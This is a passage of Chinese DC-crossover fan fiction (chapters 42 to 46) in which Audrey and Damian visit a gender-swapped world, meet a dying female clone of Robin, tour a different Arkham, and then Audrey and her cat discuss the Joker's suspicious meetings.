恢复人形后，奥德莉和超人回想起发生的事情，一个比一个尴尬。超人强撑着道谢，然后冲向天空飞走了。 奥德莉也很想马上传送离开，但走之前还是坚强地叮嘱：“记得把监控录像存好，给我一份。” 第42章 星期一，奥德莉像往常一样了解病人的日常情况并进行记录。毒藤女神神秘…… 星期一,奥德莉像往常一样了解病人的日常情况并进行记录。毒藤女神神秘秘地说：“你知道吗，在某个世界里，我是个男人。” “你为什么忽然有这个想法？”奥德莉赶紧记录下来。 “是植物告诉我的。”毒藤女快乐地说,“它们什么都知道。” “阿卡姆的植物吗？”奥德莉想不出医院里哪里有真正的植物。 “我的窗台上有一株小草,是它告诉我的。”毒藤女说。“维斯勒医生也知道它。” 奥德莉将毒藤女的话报告给维斯勒医生：“她是真的听到植物说了什么,还是产生了妄想？” 维斯勒医生找出以前的记录：“你知道她能控制植物，也声称不时会从植物那里获得信息。如果植物找她诉苦，她可能会发疯,不过她没有因为这种普通的信息做过什么事情。” “那就是目前没什么风险。”奥德莉明白了，毒藤女只是单纯想分享她听到的故事。“她说您也知道她窗台上的小草。” “对，我认为让她与植物彻底隔绝会让她崩溃，便允许她留下它了。在她用它攻击其他病人之前,就先睁一只眼闭一只眼吧。” 从奥德莉的角度来说,她知道确实存在毒藤女说的那个世界，甚至也许存在多个那样的世界,在那里她认识的人的性别与现实相反。 女性版本的蝙蝠侠，女性版本的达米安…… 奥德莉有点遗憾自己没有同位体，她还挺好奇男性版本的自己会是什么样子的。 生猛毒液,古金币,这两样物品奥德莉都有。可能是冲动萨摩耶的情绪还残存着，她决定来一次说走就走的旅行。 晚上十点多的时候，奥德莉准备休息了，却听见有人敲阳台玻璃。 “达米安，你怎么来了？”奥德莉惊讶地打开门。 “送个病人过来。”达米安说,从口袋中掏出一个猫爪造型的加密u盘。“需要你的指纹才能读取。我将监控视频中可能泄露身份的部分删掉了,不过你想要的镜头都有。” 奥德莉已经懒得去问“你怎么有我的指纹信息”这种毫无意义的问题了。她道了声谢，又指指达米安另一只手里拎着的纸袋：“这是给我的慕斯吗？” 达米安正等着她发问,闻言把袋子举得高高的，还故意慢动作地低下头，让奥德莉能够清楚地感受到两人的身高差。在穿着罗宾战术靴的时候，达米安比平时更高。 “你在干什么？”奥德莉先是不解，然后恍然：“你在记仇，因为我说你是一只很小的猫咪。” 达米安“啧”了一声：“我才不在意那个。” 你明明在意得要命。奥德莉心里这样嘀咕，但还是顺着他的意哄道：“我喜欢体型小的猫咪，灵活又可爱，我还能顶着他到处跑。” 达米安以眼神示意她继续，奥德莉便又真心实意地夸了许多句，他终于听得满意了，把袋子递过去：“恭喜你，人类，你可以吃巧克力了。” “谢谢。”奥德莉接过袋子，随口说：“今天我想去一个异世界看看，你有兴趣吗？” “什么世界？”达米安问。“发生了什么事情吗？” “没什么，只是好奇羊皮卷上提到的性别相反的世界。” 达米安马上体会到了奥德莉的真正目的，轻轻挑眉：“你想看女版的我？你这个邪恶的棉花团子。” “我……我原来是棉花团子吗。”奥德莉装委屈，然后为自己辩解：“你不好奇吗？如果另一个世界存在男版的我，你不想去见见吗？” “我以为你在所有的世界里具有唯一性。”达米安说。 “所以我说的是‘如果’。” 达米安很想说自己毫无兴趣，但那是个谎言。他对任何版本的奥德莉都很好奇，也很遗憾他们并不存在。想到这一点时，他真庆幸在无数个同位体之中，是他的世界里存在奥德莉。 这是百万分之一的幸运。 “几点出发？”达米安干脆利落地问。 “凌晨五点。” “那我提前十分钟来找你。”达米安说。 又一次穿越到其它世界，奥德莉对仪式已经很娴熟了。但这一次，在白光闪过之后，她感受到了如有实质的杀意。 “你们是谁？”说话的人是一个身材高挑的女子，她穿着罗宾制服，黑色长发扎成利落的高马尾，脸上覆着多米诺面具，绿色的眼眸如她身侧的拉撒路池水一般深邃。 她静静地站着，但手中的匕首随时可以刺穿奥德莉的喉咙。 对方的身份呼之欲出，已无需多问。奥德莉正打算自我介绍，达米安忽然松开两人交握的手，与女子打斗起来。他们接受过类似的训练，足以预判对方的下一步动作，战斗得胜负难分。 奥德莉能感觉到达米安和他的同位体并未对对方下杀手，更像是在战斗中刺探对方的虚实以及了解对方的性格，因此并不紧张，津津有味地欣赏起来。 过了一会儿，战斗的两人同时停手了。女子看了看两位异世界来客，轻轻挑眉：“看来你们来自另一个世界，我的同位体和他的伙伴。” “达米安。”达米安自我介绍，“她是奥德莉。” “达米安娜。” 达米安娜看起来二十几岁，举手投足间都散发着女性魅力。她摘下面具，对奥德莉露出热情的笑容，后者立刻晕乎乎了。 克利奥帕特拉七世大概就是这样的容颜和魅力，奥德莉脑中冒出这样的念头。她像是女神来到人间，既能用美貌倾倒众生，也能用力量征服世人。 达米安注意到奥德莉目不转睛的样子，气道：“不要把刺客联盟教的那一套用在我们身上。” “我可没有用在你们身上。”达米安娜说，“只是用在她身上。” 见达米安更生气了，达米安娜说：“我会的你也都会，不如我们来比一比。还是说你担心她更喜欢我？” “那是不可能的。”达米安冷笑。他已经确定了，他不喜欢这个同位体。 奥德莉很快清醒过来，意识到自己对达米安娜的喜爱值增加得过于迅猛。哪怕是爱屋及乌，她也不至于这么沉迷。她说：“我们没有恶意，请你不要再故意逗我们了。”然后她解释了两人的来意，以及很快就会回到原本世界的计划。 达米安娜看起来相信了：“所以你想去见蝙蝠侠？” “如果有机会的话。”奥德莉说。“我原本的计划是晚上在哥谭逛逛，也许能碰上你和蝙蝠侠。但我们无法控制出现的地点，没想到会来到中东。” “如果你现在去哥谭的话，还是可能碰上她们的。”达米安娜意味深长地说。 达米安忽然将奥德莉拉到身后，警惕地说：“你不是我真正的同位体。你只是她的克隆体。” 达米安娜爽快地承认了：“你很机警。”她不再掩饰自己的邪恶气质。“但是我和她并没有区别，不是吗？你压根没有认出来。” “那是因为我没有想到有克隆体被催熟了。在我的世界里，他们还只是一堆胚胎。”达米安冷淡地说。“随意地对他人施展魅惑，啧，我就知道不对劲。” 奥德莉被听到的信息震惊了。达米安竟然有一堆克隆体，而且从眼前的情景来看，这些克隆体能像达米安一样正常行动，拥有他的身手和智慧，甚至可能拥有他的记忆。 奥斯本集团真的落后于时代了，连一个地方武装势力的科技水平都赶不上。奥德莉打算回去就告诉哈利这个噩耗。 “你想看看我的姐妹们吗？”达米安娜问，并不因达米安的话而气恼。 “不必了，我能想象。”达米安说。 “好吧。那么，奥德莉，你见到了我，难道不想见见你自己的同位体吗？” 奥德莉不想解释太多，只是简单地说：“我们没有特意去找他的计划。” 达米安娜耸耸肩，她只是随口一问，并不在意答案。“我可以派飞机送你们去哥谭。我也想去见见蝙蝠侠。” “你有什么阴谋？”达米安单刀直入地问。 “阴谋？”达米安娜冷笑一声。“我只是想见见我的母亲和姐妹。大家都是一样的基因，为什么她能活在阳光之下，而我只能沉睡在培养仓里？” “你是怎么醒来的？”达米安问。 “父亲因我的姐妹忤逆他而不满，想让我取而代之。但克隆技术终究是有缺陷的。”达米安娜愤恨地解开衣领，露出下方溃烂的皮肤。“我的身体最多只能再支撑几天。我只是一个将被抛弃的残次品。” 她就像一朵昙花，只能在世间短暂地开放。她嫉妒真正的达米安娜，恨不能杀了对方，又希望对方能长久地幸福地活下去。 达米安沉默了。奥德莉悄悄去拉他的手，想给他一点安慰。达米安用力地回握住。 “不用可怜我。我不需要那些。”达米安娜的视线落在他们牵着的手上。“你们到底要不要一起去？” “当然去。”奥德莉说。 第43章 真正的达米安娜和蝙蝠侠并不在哥谭，她们与超人及其女儿乔安娜一起去外…… 真正的达米安娜和蝙蝠侠并不在哥谭,她们与超人及其女儿乔安娜一起去外星系执行突发任务了。与每次类似的情况一样，“夜翼”蕾切尔从布鲁德海文警局请了年假，换上蝙蝠披风代班。 女管家阿尔弗蕾达将一封信交给奥德莉和达米安：“布鲁茜夫人和达米安娜小姐让我转交给你们。” “她们知道我会来？”奥德莉大吃一惊。 阿尔弗蕾达点点头：“她们在信里写得很清楚。” “那我呢？”达米安娜问。 “我已经为您准备了客房。她们很期待在回来之后见到您。”管家说。 “如果我能活到那一天的话。”达米安娜说,但心情看起来好了一些。 奥德莉拆开信,达米安和她头凑头地一起看。奥德莉还很小心眼地瞥一瞥达米安娜,生怕她靠近他们看到信的内容。达米安娜“哼”了一声，坐到离他们最远的位置。 【奥德莉，达米安, 很遗憾这次没有机会再见到你们。你们一定很好奇，为什么大家从未谋面，我们却知道你们会来。 正如科学家们一直以来的推测，时间是非线性的。我们的初次见面证明了这一点。那次见面对于你们而言是未来,对我们来说则是过去。 奥德莉曾经疑惑,我们的见面是否意味着即将发生的事情注定无法改变，命运已经被书写好而她只是执行者。 很抱歉,这个问题我们依然无法回答。如果我们在信里告诉你一个上次见面时你不知道的秘密，那是否会改变我们初见时的情景？或者时空会自我修正，让事物回到最初的轨道？ 奥德莉本想做一个试验,但最终她改变了主意,认为那样太冒险了。所以我们也许永远不会知道答案。 但我们仍相信自由意志，以及一切的决定和行为都是有意义的。 祝你们回程顺利。 布鲁茜和达米安娜】 “看起来我们还会再来这个世界一次。”奥德莉眼睛亮晶晶地说，“还能见到你真正的同位体。” “她们不会有太大区别的。”达米安故意用奥德莉能听见的音量嘀嘀咕咕。“为什么还要再见她。” “我们会再来肯定是有原因的，虽然我目前想不出来可能发生了什么。”奥德莉说。“顺便见见她嘛。我觉得她是个很有魅力的大姐姐。” “那我们今天回去？”达米安油盐不进地问。 “韦恩女士也不在，阿尔弗蕾达说她去滑雪了。那我们除了逛逛哥谭等着回去的时刻,也没什么其它好做的了。” 达米安娜听到奥德莉的话,意识到她不知道蝙蝠侠的身份，张嘴想说什么,阿尔弗蕾达已经在不知何时站到她身后了。达米安娜默默扭开头，不去看那两个年轻人了。 “你要不要去和她聊聊？”奥德莉瞥见达米安娜的小动作，误解了她的意图，于是戳戳达米安。 “她需要好好聊聊的对象不是我。”达米安冷酷拒绝。 “对了，我之前误解了你和蝙蝠侠的关系，你怎么不纠正我呢。”奥德莉又戳戳达米安。“她有父亲，那说明你有母亲。蝙蝠侠是你的养父，不是亲生父亲，这又不算什么大事。我又不是因为你是蝙蝠侠的孩子才和你成为朋友的。在你心里我是这样的一个狂热粉丝吗？” 蝙蝠侠已经对奥德莉称得上信任了，当然是以蝙蝠侠那种设计出数种应对方案以备不时之需的方式。蝙蝠侠的真实身份已经呼之欲出，但奥德莉每次面对蝙蝠侠时，就像超人一样，很节约地使用脑子，生怕多消耗一个脑细胞。 达米安一听这个更新版的谣言，立刻觉得头大，更为她永远能逻辑自洽地磕cp感到无话可说。他真担心如果有一天奥德莉知道了蝙蝠侠的真实身份，她还是会装鸵鸟到底，自欺欺人地给自己洗脑。 如果蝙蝠侠在奥德莉面前摘下面具，达米安毫不怀疑她会捂住眼睛大喊“韦恩先生请不要cosplay蝙蝠侠”，或者当场催眠自己刚才无事发生。 不过这种症状也不是她一个人独有的。正义联盟的大多数人在知道蝙蝠侠的真实身份是布鲁斯韦恩之后，会下意识地在心里把他们当成两个人对待。这并不是因为对蝙蝠侠的两个身份有任何意见，而是因为他的两个身份的行为举止差异太大，旁观者容易精神分裂。为了自己的精神健康，别人只能跟着他的节奏出演。 达米安无话可说，奥德莉看他鼓起脸，忍不住又戳了一下，然后在被他抓住手指前跳起来，去找管家借一辆车开。 “您上次说想开那辆银色奔驰，已经准备好了。” 达米安娜站起来：“我能和你们一起去吗？” “我们换辆跑车开，只能坐两人的那种。”达米安又一次对奥德莉小声嘀咕。 达米安娜不吵不闹，只是流露出哀愁的眼神，说：“我还没亲眼看过哥谭。在离开人世前，我也想和朋友一起看看风景。” “很好，我们可不是你的朋友。你另找别人吧。”达米安说。 “算了，带上她吧。”奥德莉心软了。达米安娜有一张成熟美艳的脸庞，在她露出落寞的神色时，哪怕知道她可能是装出来的，旁人看了还是会心生不忍。何况她是真的时日无多。 达米安“啧”了一声：“如果她太烦人，我们就把她丢回来。” “好好好。”奥德莉说，下一秒被达米安娜挽住臂弯，亲亲热热地和她朝车库走去。 达米安几乎要进化出热视线了，恨不得用目光在达米安娜身上射穿几个洞。奥德莉安抚地对他笑笑，用口型说“临终关怀”。达米安撇撇嘴，勉为其难地点头表示自己会忍耐的。 达米安娜却乘胜追击，说：“为什么我的本体不认识你的同位体呢，我要建议她去找你结交。这里的你一定是一个温柔的绅士，不像某些小男孩。”她意有所指地看看穿着帽衫的达米安。 还没等达米安开口，奥德莉先严肃地说：“你要是再这样故意惹他不开心，我们就不带你了。” 达米安娜撇撇嘴，但没再说这些阴阳怪气的话。达米安给她一个得意的眼神，然后快步走到最前面去了。 和看哪里都觉得新鲜的达米安娜逛了逛市区之后，奥德莉指挥达米安朝阿卡姆开去：“我想去看看毒藤女，哦不，毒藤男。” 达米安娜说：“我知道这个人，他有超能力，可以控制植物。” 奥德莉实在很好奇，忍了又忍，还是问了，不过先声明道：“如果这个问题不恰当，请无视它。” “你想问什么都可以。”达米安娜笑眯眯地说。达米安默默咬牙。 “你有达米安娜本体的所有记忆吗？”奥德莉问。 “大部分吧。在她离开刺客联盟去哥谭之前，父亲备份了她的记忆。之后每一次她回刺客联盟的时候，父亲都会更新备份。” “她没有异议吗？”奥德莉不能理解。“还是她不知道记忆备份的用途？” “她当然知道用途。父亲承诺只会将记忆用于克隆体身上，不会去私自浏览，她便同意了。”见奥德莉一脸震惊，达米安娜很随意地说：“这没什么稀奇的。蝙蝠侠也会定期做记忆备份，防止在不知道的情况下被人侵入大脑甚至被洗脑或失忆。” 奥德莉的视线飘向达米安，猜测他大概也会定期去刺客联盟上传记忆。达米安娜注意到了，说：“他肯定也一样。” 达米安没吭声，默认了。 从小他就知道，他的出生是因为刺客联盟想要培养一个强大的武器。他的外祖父和母亲很少对他表示出关爱，尽管他们是爱他的，像爱一把锋利的弯刀。他知道刺客联盟还有无数的克隆胚胎，随时可以被催熟并取代他。他必须证明自己是最强的、无可替代的，否则他就失去了存在的意义，会被替换掉。 他一直以为只有他足够强，他才能得到母亲的表扬和外祖父赞誉的目光。直到他来到哥谭，发现世界上还有另一种家庭模式。 达米安对自己的经历并不难过，但奥德莉对他的同位体的克隆体态度温和，令他冒出一种担忧。 塔利亚尚未激活过他的克隆体，但如果有一天她那么做了，奥德莉是否能分清他们呢？毕竟克隆体有他的记忆，记得他与奥德莉的相处——虽然灌入的记忆和亲身体验总会有一点差别，更像是看电影的感觉。 达米安握紧了方向盘，偷偷从后视镜去瞄奥德莉，发现奥德莉正在担忧地看着他。此时此刻，她的眼里只注视着他。 “我们到了。”达米安娜提醒，避免了开过头还需要再绕回去的悲剧。 “我来给大家上个隐蔽buff。”奥德莉领着两人熟门熟路地走到病人活动室，去围观那些与她记忆中不一样的病人。 “毒藤男的头发比毒藤女的更红，我还是更喜欢她的发色。”奥德莉真想画下来给毒藤女看看，但想到她对自己画作的不友善评论，决定放弃这个尝试。 “女版双面人的西装明明是很浮夸的设计，但看起来和她的气质绝配。”奥德莉继续感慨。 第44章 参观了阿卡姆之后，奥德莉总结道：“这个世界的时尚水平比我们那里更高…… 参观了阿卡姆之后,奥德莉总结道：“这个世界的时尚水平比我们那里更高，每个人都很注意服饰搭配。不知道这里是阿卡姆的人，很可能误以为这里是先锋时尚设计师聚集之地。” 达米安娜一副与有荣焉的样子,说：“罗宾制服也是这里的更好看吧？”出门前她换了休闲装扮,不过刚见面时,她穿的是最新一代的罗宾制服。 奥德莉不想助长她的气焰，但否定的话又太违心了，于是没作声。达米安娜却不肯放弃,掏出手机搜索历代罗宾制服给她看：“这些都是哥谭群众拍的，有点模糊，但也能看清许多细节。我觉得一定比你们的更好看。” 达米安偷偷瞥了一眼，脸色难看起来——迪克格雷森,你的绿鳞小短裤遗患无穷。同样是以马戏团戏服为灵感,为什么你的同位体就可以设计出又得体又亮眼的制服？ “附近城市的义警也都穿得不错。”达米安娜又搜出布鲁德海文群众拍的照片。“你看夜翼的制服，连一些大都会人都说比超人的还好看呢。要知道,大都会人对超人的无条件推崇可是出了名的。” 即使是夜翼制服，这里的也明显更好看。迪克那件紧身制服简直到了有伤风化的程度，之前有罪犯挑衅地打出标语,隔空喊话说“夜翼屁股的高光照亮了布鲁德海文的夜空”。翘屁嫩男迪克带着吉姆和胡安（他的左臀和右臀的名字）回到韦恩庄园抱怨,结果包括老管家在内没人同情他，他郁闷地带着阿尔弗雷德给他打包的食物走了。 达米安又想到自己的制服，和达米安娜之前穿着的罗宾制服相比一番，不得不承认对方的可能是有那么一两处可以参考借鉴。 “好看有什么用，制服的功能性最重要。”达米安心里怎么想不重要,输人不输阵地嘴硬到底,甚至没意识到自己已经让步承认了对方的衣服更好看。 知道绿鳞小短裤造型的奥德莉忍不住看了达米安一眼，不去戳穿他,免得他被气得炸毛。 趁着奥德莉心情好，达米安娜问道：“你们俩想不想参加夜巡？夜翼一个人帮忙照看哥谭，难免顾不过来。” “是你想参加吧？”达米安毫不客气地说。“不用拉上我们。夜翼最心软，你们的大概也一样，你求她两句她就会答应了。” 被戳穿心思的达米安娜不理他，只去看奥德莉。 “我不想给哥谭留下更多的都市传说。”奥德莉摇摇头。“我相信达米安的判断，你可以自己去找夜翼说。” 达米安娜不肯放弃，玫瑰色的脸颊靠得更近了，试图用可怜的眼神去打动奥德莉—— “你在发高烧！”奥德莉忽然意识到为什么达米安娜的脸这么红了，用手轻触她的额头，被滚烫的温度吓了一跳。“你怎么不说呢？” “说了又有什么用？”达米安娜毫不在意。“这又不是普通的生病，没有药能治好我。” “你应该已经难受得不行了吧，还强撑着四处跑，你太能忍耐了。”奥德莉叹气，强行将达米安娜拉到车上，让达米安送他们回韦恩庄园。“我想这种情况下，管家不会允许你去夜巡的，你也别想着偷溜。” 达米安娜虽然是强弩之末，但对付奥德莉还是没问题的。可她选择顺从，把头靠在奥德莉的肩膀上，炙热的呼吸几乎要将奥德莉烫伤。达米安这次没说什么。 奥德莉帮达米安娜整理了略带凌乱的额发，达米安娜看着她，忽然问：“是否因为你这次见到了我，担心我的本体会将你说的信息备份而泄露到克隆体那里，所以在你下一次来的时候，你故意瞒了她一些事情，只告诉了蝙蝠侠？” “我不知道未来的事情。”奥德莉说，“但你说的很有可能，听起来像是我会有的思路。” “所以你始终觉得我是坏人。”达米安娜不高兴地说。 “我只是顺着你的猜测往下说而已，我也许还有其它考虑呢，甚至我可能对蝙蝠侠也隐瞒了一些无伤大雅的信息。”奥德莉说。 “好吧。”达米安娜说。“不过，从你的角度来看，你先认识的达米安娜是我，而不是她。我才是最先出现的那个。” “对。”奥德莉顿了顿，又安慰她说：“就算你的记忆是以她的记忆为基础灌输的，与其说她是本体，倒不如说你们是一根树枝上长出的两根枝桠。今天我们的经历，她就没有呀，这是你独有的记忆。” 达米安娜抿了抿嘴：“这是我一个人的，我才不要分享给她。” “你见到她之后，不要和她打架啊，你现在是生病状态。”奥德莉叮嘱。 “如果我们打起来，那一定是蝙蝠侠的原因。子女不和多是老人无德。”达米安娜对蝙蝠侠毒舌攻击道。 奥德莉很想反驳一句“要怪也应该怪她们在刺客联盟的那位父亲”，但看在达米安娜病重的份上忍住了。 将达米安娜托付给管家之后，奥德莉还是打算按照原计划的时间离开。达米安娜没有再多说什么，只是很郑重地和奥德莉道别。 达米安神情晦涩不明地问：“我以为你会想多呆几天，陪她到最后。” “她缠在我身边并不是因为有多么喜欢我，我们才刚见面，怎么会有那么深厚的感情。她只是试图抓住任何一丝温暖和善意，以及为了气你。”奥德莉说。“管家会陪伴她的。希望蝙蝠侠她们能及时回来。” “我可没生气。”达米安抗议道。“我以为你会好奇她的结局，也许正义联盟忽然研究出某种药物，延续了她的生命呢。” “我不想过分参与这个世界的事情。”奥德莉说。“我能为她做的也很有限。我想这也是为什么未来的我拒绝蝙蝠侠帮忙试验时间的影响。” “这是调查员的某种准则吗？” “倒也没有什么明确规定，只是我们一直都被叮嘱不要对被观察的人和事物投入太多感情，否则会失去客观的立场。”奥德莉解释说。“不过话虽然是这么说，人是感性的，很多调查员都没完全遵守这个建议，也没有发生什么严重不良的后果。” “所以还是会有一些后果的。”达米安敏锐地抓住了关键词。 “任何事情都有后果，这是一个中性词。”奥德莉说。“但我是异世界不存在的人，和他们打交道的时候，还是想尽量更谨慎一点。我不知道加入我这个变数之后，带来的结果是好是坏。” “也就是说，在你自己的世界里，你不会和人保持这么疏离的关系？”达米安问。 奥德莉盯着达米安看，直到他不好意思地移开视线，然后她装模作样地看看时间，说：“我们该出发了。” 达米安意识到她是在逗自己，要是表现出在意就等于输了这一局。但他依然没去掩饰，露出因她的避而不谈感到的低落情绪。 “我的答案应该已经很明显了吧。”奥德莉捏了捏他的手，带着他回到原本的世界。 “我送你去韦恩庄园吧。”奥德莉说。 “等等，”达米安制止了她。“我想问你，如果我的母亲催熟了我的克隆体，你也会对他这么好吗？” “我对你很好吗？我以为你觉得我和你之间是疏离的关系呢。”奥德莉发现逗达米安是很好玩的事情，他不太擅长掩饰自己的情绪，也可能是傲慢地懒得去掩饰。不过他嘴上说的和脸上的表情经常是南辕北辙，一边说着“我一点也不在意”，一边已经黑了脸。 “你会和他做朋友吗？”达米安换了个问法。 这种问法简直像小学生拉帮结派，你和我做了好朋友，就不能和我不喜欢的另外一个人做好朋友。不过奥德莉能理解在看到达米安娜的克隆体之后，他感受到的冲击是何等震撼。即使他一直都知道有那些胚胎，但真正地看到一个被催熟的克隆体则是另外一回事。 “就算你们有一模一样的基因，甚至一模一样的性格，那你对而我而言也仍然是独一无二的。就像小王子的玫瑰，哪怕他看到五千朵别无二致的玫瑰开放在花园中，他的那一朵依然是无人可以比拟的，因为他亲自浇过水、松过土的就只是那一朵。” 达米安满意了，眉眼舒展开，但嘴里说的却是：“这么简单的问题，你回答得这么复杂。” 奥德莉恼了，戳了达米安一下，抱怨道：“我觉得你就是想骗我哄你。你并没有表现出来的那么难过。” “那你还上当？”达米安任由她戳，得意洋洋。 “因为我想让你高兴一点嘛。你刚才看着可怜兮兮的。” “我确实高兴了一点。”达米安的尾巴要翘上天了。 “以后你再问这种问题，我最多用三个字回答你，免得你又说我的回答复杂。”奥德莉哼了一声。 第45章 将达米安送回韦恩庄园后，奥德莉看看时间距离上班没多久了，又不感觉困…… 将达米安送回韦恩庄园后,奥德莉看看时间距离上班没多久了，又不感觉困，便找布莱克一起玩。布莱克正在外面夜游,听到奥德莉的呼唤,马上狂奔回来。 作为一只超级捧场的小猫咪,布莱克瞪圆了绿眼睛听奥德莉讲述性别反转的世界，第一反应竟然是：“我真庆幸你不是男性，不然一定不会像现在对我这么好。” “怎么会呢？”奥德莉挠挠布莱克的下巴,“你这么可爱，谁都会宠着你的。” “但是我觉得男性不会这么有耐心陪我玩，也不会这么真心实意地夸我。”布莱克毫无根据地下着结论。“总之我觉得你最好。” “谢谢你的认可。”奥德莉捏捏布莱克的小猫爪。 然后，布莱克肉乎乎的脸上露出一点不怀好意的笑：“女性版的达米安,还是个大姐姐,达米安一定很不爽，嘿嘿。真可惜我不能亲眼看到,他一定黑脸好几次。” “因为我总说我比他大，这是事实他又改变不了。”奥德莉也心知肚明达米安在意这一点，却总是恶趣味地喜欢逗他。 一人一猫对视着,露出坏笑。 “对了,达米安送来了我们变成动物时的录像，你想看吗？” “想！超想看萨摩耶-奥德莉！”布莱克想想又生气起来。“为什么不是我陪着萨摩耶形态的你玩，达米安懂得怎么做猫吗？他懂得怎样摇尾巴体态最优美吗？哼。” 抱着这样挑刺的心态，布莱克对视频里的黑猫-达米安挑出一万个错处，把它形容为猫中之耻,一会儿说它体型太小像个小黑点（“好熟悉的描述”,奥德莉暗暗想），一会儿说它过于灵活不稳重。 与此同时,它还吹嘘萨摩耶身姿雄伟又矫健，对奥德莉刚刚*变身时的几次脚滑视而不见。在萨摩耶-奥德莉把黑猫-达米安“擒获”时，布莱克更是毫无底线地夸赞她勇猛无双。 奥德莉被夸得飘飘然，也不去戳破布莱克的小心思，结果它变本加厉地提出建议：“你可以以此为灵感画一幅画，一只萨摩耶和两只黑猫一起玩耍。不过记得要把我画得比另一只猫更好看，要显著地更好看。” “你是真的想把达米安气死。我才不要参与你们黑猫之间的明争暗斗，我只是一只棉花团子。”奥德莉坚定地拒绝参与猫猫斗争。 “你的实习快结束了。回纽约之后，我想去百老汇看演出。”品味高雅的猫猫侦探气得用爪子敲桌子，然后换了个要求。 “这个没问题，安排。”奥德莉立刻答应。 “猫猫侦探可以告诉你一个秘密作为报答。”布莱克满意了，又开始神秘兮兮。 “不会又是偷听来的什么隐私吧？”奥德莉警惕起来。她真的不想知道太多别人的身份秘密，演起来很累的。 “这次是靠我的推理和智慧。”布莱克高傲地仰起胖胖的脖子，让总身高增加了不到半厘米。“我发现，小丑可能要搞个大事情。” 虽然小丑不是维斯勒医生的病人，但这个名字在哥谭人尽皆知。由于小丑的高危险性，他被单独关押，奥德莉从没有见过他。 “啊？”一听说是小丑相关的事情，奥德莉感觉鸡皮疙瘩都冒出来了，立刻坐正身体：“这是怎么回事，快讲讲。” “我时不时会四处闲逛嘛，我无意中逛到了小丑的病房。他住在顶楼……” “你这根本不是无意闲逛，而是目的性很强地去专访吧。”奥德莉吐槽。 “我好奇嘛。”布莱克无辜地歪歪头，“然后我发现他连续两个晚上偷偷和人碰面。他的感知非常敏锐，我甚至怀疑他能看到我，因为他不怀好意地朝我所在的方向看了两次。” “不要怕，他大概是感知到了你的神秘气息。”奥德莉看看下意识缩缩脖子的布莱克，心疼地摸摸它的耳朵。“这么说来，他的确是少有的敏感之人。” “我不怕！”布莱克挺挺胸膛，然后说出自己的依仗：“他难道还能去漫宿追杀我吗？” 奥德莉被它逗笑了，又问：“他看起来神志正常吗？” “他画着五颜六色的妆容，难看极了，我觉得只凭这一点他就不正常。”布莱克说。“但是他在独处的时候非常沉静，和常人无异。不过我能感觉到他的灵魂是一团污秽，就像是最邪恶的事物被压缩到了一起。和他在一起待几分钟，我就非常不舒服。” “所以你没有听到他的具体计划，只是发现他和人见面。”奥德莉总结。 布莱克觉得有点不好意思，因为它的行为确实显得很胆小。它赶紧强调道：“如果不是要搞事情，他怎么会和人偷偷碰面？我想这一证据已经足够让本侦探做出推断了。” “这倒是，光是这一点就很可疑了。”奥德莉赞同。“他会面的人，你看清楚样子了吗？” “是一个男人，身材中等。” “呃……好有用的信息，大概囊括了地球上三分之一的男人吧。”奥德莉实在没忍住去嘲笑这只小猫咪。“这点信息告诉警察他们都不一定会受理。不过上报给蝙蝠侠倒是足够了，他一定会重视的。” 在处理哥谭相关的事情上，布莱克受到奥德莉的影响，都是一样简单粗暴的思路：发现可疑线索——不经思考报告蝙蝠侠——后续听蝙蝠侠指挥。毕竟蝙蝠侠对哥谭最熟悉，这里是他照看了多年的城市，奥德莉不认为自己有资格越俎代庖。而且根据她从报纸上看到的新闻，小丑邪恶得超乎想象，她能尽力不给蝙蝠侠拖后腿就行了。 带着这种躺平心态，奥德莉把布莱克观察到的信息告诉了达米安，达米安立刻回复，表示他们会密切关注这件事。 从黑猫形态恢复后，达米安在给奥德莉发信息的时候，总是在最后附带一只小小猫爪图案。布莱克第一次注意到，又开始吐槽那个猫爪的肉垫颜色不对：“他凭什么发粉色肉垫图案，我刚才已经看过了，黑猫-达米安的肉垫不是粉色的。”布莱克伸出自己的肉垫给奥德莉看：“我的才是粉色的，他这是侵权。” “你可以将其理解为对美好事物的向往。”奥德莉开始胡说八道，“他希望拥有像你这样的肉垫，可惜没有，于是发个图案自我安慰。” 布莱克满意了，舔舔自己的珍贵猫爪，然后开始讨论深沉的话题：“为什么小丑能活到现在？” “因为蝙蝠侠不杀人。”奥德莉抢答。 “我知道蝙蝠侠的不杀原则。但是小丑害死了许多无辜的人，为什么没有受害者的家人去报复他？他对人命的态度非常儿戏，每次都随手害死一些人，就像呼吸空气一样毫不在意。而且他被关在阿卡姆，生活上没有受什么磋磨，我要是家人看到一定气死了。” “这一点我也感觉蛮奇怪的，阿卡姆的安保措施主要是对内的，防范这些病人暴动或是逃跑。但对于外界访客，其实安检措施并不算严密。而且哥谭人又不是那种好脾气的性格，这么多年来竟然没有人试图去杀掉小丑，确实不可思议。” “如果你看到有人刺杀小丑，千万不要去保护他，倒是可以给小丑暗中补一刀。”布莱克甚至出这种主意，可见小丑给它留下的印象是多么糟糕。 奥德莉比了一个“嘘”的手势，说：“低调行事。”她和布莱克的想法一致，不过如果蝙蝠侠在场的话，她还是要演一演的，毕竟要维护自己在偶像面前的形象嘛。她一定会努力演出拼命营救但未能成功的心碎。 一人一猫又一次对视着，露出邪恶的笑容。 “怎么感觉我们像是大反派。”奥德莉觉得怪怪的，“我们明明是正义的一方啊。” “可能因为这个时间段，凌晨五点多，讨论什么事情都像是在密谋。”布莱克也有奇怪的感觉。“哥谭真的锤炼人，也锤炼猫。来这里之前，我还是一只单纯的小猫咪。” “如果这次能提前阻止小丑的阴谋，你就又立大功了。”奥德莉吹嘘道。“就算他没有阴谋，让蝙蝠侠去打他一顿也挺好的。我觉得应该建议蝙蝠侠时不时去给小丑上一节体能课，免得他以为蝙蝠侠顾不上他，还有心思搞东搞西的。” “可惜蝙蝠侠看不到我，不然我一定要和他比试一下，看看谁才是哥谭第一侦探。”布莱克不知天高地厚地攀比起来，还贷款吹嘘自己的成就。“这一次我有勇有谋，及时挫败了小丑的大阴谋，拯救哥谭市于无形……” 奥德莉一忍再忍，忍无可忍，捏住布莱克的猫嘴：“我尝试了，但是真的听不下去了。请你清醒一点。” “喵呜喵呜。”布莱克挣扎着，“我不能有梦想吗？” “你的梦想能现实一点吗？”奥德莉无语。“这个也太离谱了一点。” 第46章 下班时，奥德莉迎来了一位意料之外的访客。来人靠在一辆重型摩托上，身…… 下班时,奥德莉迎来了一位意料之外的访客。来人靠在一辆重型摩托上，身材健硕高大，正是化名为杰莱德的杰森陶德。 “嗨,奥德莉,能请你去食堂吃个晚饭吗？”杰森礼貌邀请。 